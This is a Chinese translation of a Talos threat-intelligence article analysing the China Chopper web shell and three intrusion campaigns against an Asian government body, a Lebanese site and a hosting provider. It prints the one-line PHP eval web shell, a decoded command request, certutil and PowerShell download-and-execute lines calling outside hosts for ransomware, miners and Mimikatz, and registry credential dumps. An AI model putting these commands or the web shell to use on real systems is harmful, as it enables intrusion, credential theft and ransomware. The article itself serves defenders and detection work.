九年后“中国菜刀”依然锋利:China Chopper三起攻击案例分析
2019-09-06 11:12:26 Author: www.4hou.com(查看原文) 阅读量:171 收藏

导语:在过去两年的时间里,思科Talos团队观察到China Chopper大量活动的踪迹,有数个威胁组织将China Chopper融入到其行动中,这表明,即使距China Chopper首次发现已经过了九年,对部分威胁行为者而言它却依然能起到关键的作用。

介绍

过去发现的威胁常常会随着时间的推移而逐渐退出于公众视野中,但China Chopper却保持了长久的生命力。

在过去两年的时间里,思科Talos团队观察到China Chopper大量活动的踪迹,有数个威胁组织将China Chopper融入到其行动中,这表明,即使距China Chopper首次发现已经过了九年,对部分威胁行为者而言它却依然能起到关键的作用。本文将选择其中最活跃的三次行动来分析。

China Chopper是一种web shell,能让攻击者通过包含控制目标所需所有逻辑的客户端应用程序保留对受感染系统的访问权限。

China Chopper是广泛可用的,几乎任何人都可以使用它。这也意味着,仅以China Chopper的存在作为指标,几乎不可能将攻击归咎于某个特定群体。

China Chopper的“老当益壮”也间接说明了许多看似老旧威胁永远不会真正消失,互联网的防御者们不应当只把目光放到一些新的恶意软件上。

什么是China Chopper?

China Chopper是一类工具,允许攻击者远程控制目标系统,前提是系统需要运行web服务器应用程序。Web shell可以在不同的平台上运行,但在本例中,我们只关注受感染的Windows主机。China Chopper已被证实由一些国家支持的威胁团体,如Leviathan、Threat Group-3390等在使用。

在研究中我们发现,Internet Information Services (IIS)和Apache web服务器都受到过China Chopper web shell的攻击。我们没有关于web shell是如何安装的信息,但是考虑到有一些web应用程序框架,比如老版本的Oracle WebLogic或WordPress,它们当中包含的远程代码执行漏洞可能使自己成了攻击目标。

China Chopper为攻击者提供了一个简单的GUI,允许他们配置到服务器的链接,并生成服务器端代码,这些代码必须添加到目标网站的代码后才能进行通信。

1.png

图1.China Chopper GUI

服务器端代码非常简单,只包含一行代码,根据应用程序平台的不同有所改变。后门支持.NET Active Server Pages或PHP。

以下是受感染的PHP应用程序的服务器端代码示例:

<?php @eval($_POST['test']);?>

我们并不能确定,服务器代码的如此简单是否是China Chopper开发人员为了增加检测的难度而故意为之,但是在短代码片段上使用模式匹配可能会产生一些误报。

China Chopper客户端使用HTTP POST请求与受感染的服务器通信。服务器端代码的唯一功能是评估在客户端GUI中配置服务器代码期间指定的请求参数。在我们的示例中,预期的参数名称是“test”。通过HTTP的通信,可以很容易在捕获网络数据包后发现。

China Chopper包含一个远程shell(虚拟终端)功能,它首先会建议使用命令 'netstat an|find "ESTABLISHED."',在受感染系统上的进程创建日志中很可能会看到此命令。

2.png

图2.China Chopper首先建议的终端命令

当我们分析捕获的数据包时,可以看到参数“test”包含另一个eval语句。

根据该命令,客户端将提交一定数量的参数,z0一直到zn。在提交之前,所有参数都使用标准base64编码器进行编码。参数z0始终包含解析其他参数、启动请求的命令并将结果返回给客户机的代码。

带参数的编码China Chopper POST请求:

test=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskcD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTskYz1zdWJzdHIoJGQsMCwxKT09Ii8iPyItYyBcInskc31cIiI6Ii9jIFwieyRzfVwiIjskcj0ieyRwfSB7JGN9IjtAc3lzdGVtKCRyLiIgMj4mMSIsJHJldCk7cHJpbnQgKCRyZXQhPTApPyIKcmV0PXskcmV0fQoiOiIiOztlY2hvKCJ8PC0iKTtkaWUoKTs%3D&z1=Y21k&z2=Y2QgL2QgIkM6XHhhbXBwXGh0ZG9jc1xkYXNoYm9hcmRcIiZuZXRzdGF0IC1hbiB8IGZpbmQgIkVTVEFCTElTSEVEIiZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D

在此请求中,解码的参数是: 

z0 - @ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$p=base64_decode($_POST["z1"]);$s=base64_decode($_POST["z2"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";$r="{$p} {$c}";@system($r." 2>&1",$ret);print ($ret!=0)?"
ret={$ret}
":"";;echo("|<-");die();
 
z1 - cmd
 
z2 - cd /d "C:\xampp\htdocs\dashboard\"&netstat -an | find "ESTABLISHED"&echo [S]&cd&echo [E]

命令的末尾“&echo [S]&cd&echo [E]”似乎出现在所有虚拟终端请求中,可以作为一个可靠的指示器来检测数据包捕获或行为日志中的China Chopper活动。

除了终端,China Chopper还包括一个文件管理器(能够创建目录、下载文件和更改文件元数据)、一个数据库管理器和一个基本的漏洞扫描器。

下面是我们对三次行动的论述,它们分别有不同的目标、工具、技术及(可能不同的)威胁团伙。

3.jpg

图3.观察到的案例研究的时间表

案例研究1:针对亚洲政府组织的间谍行动

我们在几次间谍活动中确定了China Chopper的使用情况,其中一次针对亚洲政府组织的行动中,China Chopper被用于内部网络,安装在了一些用于存储机密文档的Web服务器上。

攻击者的目的是获取文档和数据库副本。文件使用WinRAR自动压缩:

cd /d C:\Windows\Working_Directory\
renamed_winrar a -m3 -hp19_Characters_Complex_Password -ta[date] -n*.odt -n*.doc -n*.docx -n*.pdf  -n*.xls -n*.xlsx  -n*.ppt -n*.pptx  -r c:\output_directory\files.rar c:\directory_to_scan\

此条命令用于创建一个文档,其中有将日期作为参数进行修改后的文件。文档由包含大写、小写和特殊字符组成的强密码保护,密码长度超过15个字符。

我们猜想,攻击者会定期运行此条命令,以便只获取新文档并将被窃取的数据量最小化。

在同一目标上,我们用WinRAR确定了通过China Chopper执行的其他命令:

rar a -inul -ed -r -m3 -taDate -hp ~ID.tmp c:directory_to_scan

鉴于China Chopper是一个公共工具,我们无法判断在这种情况下攻击者是否相同。但是这里的rar命令行是完全不同的,可能表明是不同攻击者所为。

攻击者部署了其他工具来执行系统上的命令:

C:windowsMicrosoft.NETFrameworkv2.0.50727MSBuild.exe C:windowstempDocument.csproj  /p:AssemblyName=C:windowstempdownloader.png /p:ScriptFile=C:windowstempdownloader.dat /p:Key=27_characters_key > random.tmp

MSBuild.exe用于编译和执行带有两个参数的.NET应用程序:ScriptFile参数包含一个PowerShell脚本,该脚本使用key参数的值加密。.NET代码如下:

4.png

图4..NET加载程序代码

.NET加载程序支持加密的文件或URL作为脚本参数。如果操作人员使用HTTP请求,则加载程序将使用其中一个硬编码的用户代理下载payload。加载器解密下载的文件并执行:

5.png

图5.硬编码的用户代理字符串

在本例中,解密payload的目的是执行数据库转储:

powershell.exe -exe bypass -nop -w hidden -c Import-Module C:windowshelphelphelper.ps1;
Run-MySQLQuery -ConnectionString 'Server=localhost;Uid=root;Pwd=;database=DBName;
Convert Zero Datetime=True' -Query 'Select * from table where UID > 'Value' -Dump

SQL查询中的“where UID”条件与前面的WinRAR命令中的日期具有相同的目的。我们假设攻击者是定期执行查询,而且不希望转储整个数据库,只想转储新条目。值得注意的是,转储数据后,攻击者会检查生成的文件是否可用,以及是否包含任何数据:

dir /O:D c:working_directorydb.csv
powershell -nop -exec bypass Get-Content "c:working_directorydb.csv" | Select-Object -First 10

那么存档文件和数据库转储是如何滤出的呢?由于目标服务器位于内部网络中,攻击者只需映射一个本地驱动器并将文件复制到它就能做到。

cd /d C:working_directory
net use 192.168.0.10ipc$ /user:USER PASSWORD
move c:working_directorydb.csv 192.168.0.10destination_directory

攻击者必须能够访问远程系统才能滤出数据。我们已经看到攻击者使用HTTP隧道工具,在受感染的系统和C2服务器之间创建网络隧道。

案例2:针对黎巴嫩组织的多次攻击行动

第二个案例是一起针对黎巴嫩组织的攻击行动。第一个案例描述的目标是泄露内部服务器的数据,但这个案例的情况正好相反——一个公共web站点由于不同的目的而受到数名攻击者的攻击。

攻击者使用China Chopper在服务器上部署勒索软件,第一次是Sodinokibi勒索软件:

certutil.exe -urlcache -split -f hxxp://188.166.74[.]218/radm.exe C:UsersUserAAppDataLocalTempradm.exe

第二次是Gandcrab勒索软件:

If($ENV:PROCESSOR_ARCHITECTURE -contains 'AMD64'){
Start-Process -FilePath "$Env:WINDIRSysWOW64WindowsPowerShellv1.0powershell.exe" -argument "IEX ((new-object net.webclient).downloadstring('https://pastebin.com/raw/Hd7BmJ33'));
Invoke-ACAXGZFTTDUDKY;
Start-Sleep -s 1000000;"
} else {
IEX ((new-object net.webclient).downloadstring('https://pastebin.com/raw/Hd7BmJ33'));
Invoke-ACAXGZFTTDUDKY;
Start-Sleep -s 1000000;
}

以下是托管在Pastebin的脚本:

6.png

图6.从pastebin.com下载的反射装载器

该脚本使用反射DLL加载技术执行位于脚本末尾的硬编码PE文件——Gandcrab。

除了勒索软件之外,我们还发现了另一个试图使用China Chopper在服务器上执行加密货币挖矿程序的攻击者:

Powershell -Command -windowstyle hidden -nop -enc -iex(New-Object Net.WebClient).DownloadString('hxxp://78.155.201[.]168:8667/6HqJB0SPQqbFbHJD/init.ps1')

下面来看一下矿机配置:

7.png

图7.矿机配置

一些检测到的活动可能是手工进行的,目的是为了获得OS凭证。

以及试图获得注册表:

reg save hklmsam sam.hive
reg save hklmsystem system.hive
reg save hklmsecurity security.hive

使用Mimikatz(过程中有一些小问题):

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');
Invoke-Mimikatz >>c:\1.txt
 
powershell IEX","(New-Object","Net.WebClient).DownloadString('hxxp://is[.]gd/oeoFuI'); Invoke-Mimikatz -DumpCreds
 
C:\Windows\System32WindowsPowerShell\v1.0\powershell.exe IEX
 
(New-Object","Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');
Invoke-Mimikatz
 
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe [Environment]::Is64BitProcess
 
powershell.exe IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');
Invoke-Mimikatz >>c:\1.txt

试图使用PowerShell模块和命令行转储密码哈希:

IEX (New-Object
 
Net.WebClient).DownloadString('https://raw.githubusercontent.com/klionsec/CommonTools/master/Get-PassHashes.ps1');Get-PassHashes;

攻击者还尝试在lsass.exe上使用procdump64.exe来获取存储在内存中的本地凭据。 除了多次尝试转储凭据之外,攻击者还必须处理输入错误:遗漏空格、错误命令或字母切换。

其中一名攻击者成功获得了凭证,并试图通过使用凭证和“net use”命令在内部进行转换。

最后,机器上还部署了几个远程访问工具,如Gh0stRAT和Venom多跳代理,以及纯粹在PowerShell中编写的远程shell。

案例3:攻击网络托管服务供应商

在一次行动中,我们发现一家亚洲网络主机提供商受到了攻击,其中大量攻击发生在10个月的时间里,涉及多个Windows服务器。同样,我们不能确定威胁行为者是单人还是多组,因为受到攻击的服务器有所而异。我们这里只说观察到的部分行动。

服务器1

通常攻击者会试图创建一个新用户,然后将该用户添加到具有管理权限的用户组中,这可能是为了访问和修改托管在单个物理服务器上的其他web应用程序。

cd /d C:\compromisedappdirectory&net user user pass /add
cd /d C:\compromisedappdirectory&net localgroup administrattors user /add

注意单词“administrators”的拼写错误。攻击者意识到添加用户的方式不能成功,又尝试了一种不同的技术。他们下载并安装密码窃取工具“Mimikatz Lite”,简单修改源代码的归档文件作为GetPassword.exe。

该工具能调查Local Security Authority Subsystem的内存空间,以查找、解密和显示检索到的密码。与原始工具相比,惟一的变化是攻击者更改了命令窗口的颜色和代码页,让绿色文本显示在黑色背景上,并将活动控制台代码页更改为中文代码页936。

最后,攻击者将数据转储到一款流行的手机游戏——“Clash of Kings”的数据库上,该游戏可能托管在一个私有服务器上。

服务器2

第二台服务器上,有一名攻击者成功装上了China Chopper,此外我们还发现了加密货币挖矿机。

共集资和首先重置Windows临时文件文件夹的访问控制列表,并取得该文件夹的所有权,然后允许矿机通过Windows防火墙执行,最后启动挖矿payload。

C:Windowssystem32icacls.exe C:WindowsTemp /Reset /T
C:Windowssystem32takeown.exe /F C:WindowsTemp
C:Windowssystem32netsh.exe Firewall Add AllowedProgram C:WindowsTemplsass.eXe Windows Update Enable
C:WindowsTemplsass.eXe

服务器3

对此服务器的攻击首先是下载大量公开或是私有的工具,但我们无法检索它们。

攻击者试图利用CVE-2018-8440(Windows中的一个提权漏洞)。

cd /d C:directoryofcompromisedapp&rundll32 C:directoryofcompromisedappALPC-TaskSched-LPE.dll,a

接着攻击者启动几个自定义工具和一个可用工具,可用工具会创建一个新的用户iis_uses并更改DACLs,以允许用户修改某些操作系统对象。

攻击者获得所需的特权,并启动一些其他工具来修改受影响服务器上运行的所有网站的访问控制列表(acl)。这样做很可能会损害其他网站。

cacls . C:path_to_a_website /T /E /C /G Everyone:F

最后,攻击者启动Powershell Mimikatz loader,从内存中获取更多凭证,并将凭证保存到文本文件中:

powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1');Invoke-Mimikatz|Out-File
-Encoding ASCII outputfile.txt

服务器4

攻击从下载和执行两个文件开始,这两个文件是漏洞利用文件,利用的是Windows漏洞CVE-2015-0062,CVE-2015-1701和CVE-2016-0099,能让攻击者修改服务器上的其他对象。

权限升级成功后,攻击者会添加新用户帐户并将该帐户添加到管理组。

net user admin admin /ad
net localgroup administrators admin /ad

攻击者接下来使用新创建的用户帐户登录到服务器,并启动一个免费的工具replacestudio32——一个GUI实用程序,可以轻松地搜索基于文本的文件,并用另一个字符串执行替换。同样,这可以用于影响服务器上承载的所有站点,或者简单地破坏页面。

结论

不安全的Web应用程序为攻击者提供了有效的切入点,让他们能安装如Web shell之类的工具进行侦察。

尽管China Chopper是一个古老的工具,但我们仍然看到它被多组威胁团伙使用,在本文中,我们展示了三类不同情况下,攻击者们所使用的一些工具,技术和流程。而且因为China Chopper易于使用,所以无法将其关联到任何特定的团体。

在我们的研究中,我们记录了在几个月内活跃最频繁的三次行动。这证实了探测入侵的平均时间超过180天的说法,并意味着防御者应当考虑在最坏的情况下来建立他们的安全团队和处理流程。重要的是,事件响应团队应该拥有主动寻找漏洞的权限,不仅要响应自动检测系统引发的警报或是由一线安全分析师进行升级。

在保护基础架构时,使用最新的安全修补程序保持内部和外部Web服务器、应用程序和框架的最新状态是非常重要的,能降低已知漏洞带来的风险。

相信China Chopper在短期内仍不会消失,没准我们会在未来的攻击行动中频繁撞见。

本文翻译自:https://blog.talosintelligence.com/2019/08/china-chopper-still-active-9-years-later.html如若转载,请注明原文地址: https://www.4hou.com/web/20128.html


文章来源: https://www.4hou.com/web/20128.html
如有侵权请联系:admin#unsafe.sh